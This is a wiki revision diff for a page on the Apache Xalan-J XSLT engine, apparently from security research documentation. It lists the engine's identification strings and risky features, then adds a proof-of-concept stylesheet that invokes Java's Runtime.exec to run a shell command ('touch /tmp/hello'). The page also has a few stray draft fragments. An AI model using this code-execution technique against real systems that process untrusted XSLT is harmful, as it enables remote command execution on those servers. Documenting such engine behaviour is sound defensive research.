Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version 1.1 Icon
edited by Nicolas Gregoire
on 2012/01/04 18:56
Change comment: There is no comment for this version
To version Icon 6.1 Icon
edited by Nicolas Gregoire
on 2012/01/05 01:00
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Tags
... ... @@ -1,0 +1,1 @@
1 +xslt|engine|apache|java|unsafe
Content
... ... @@ -4,18 +4,40 @@
4 4  Supported XSLT version : 1.0
5 5  
6 6  
7 -Identification strings
7 +== Identification strings ==
8 8  
9 9  | xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
10 10  | xsl:vendor|Apache Software Foundation
11 11  | xsl:version|1.0
12 12  
13 +== Special features ==
13 13  
14 -
15 -Special features
16 -
17 17  * File creation
18 18  * Code execution
19 19  * JDBC connectivity
20 20  * Java properties
21 21  * CheckEnv()
20 +
21 +== Java code execution ==
22 +
23 +dcdcdd
24 +
25 +<?xml version="1.0"?>
26 +<xsl:stylesheet
27 +
28 + xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
29 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
30 +
31 + exclude-result-prefixes="j"
32 +
33 + version="1.0">
34 + <xsl:template match="/">
35 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
36 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
37 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
38 + <xsl:variable name="p" select="j:exec($r, $a )"/>
39 + No content at the moment ...
40 + </xsl:template>
41 +</xsl:stylesheet>
42 +
43 +Saxon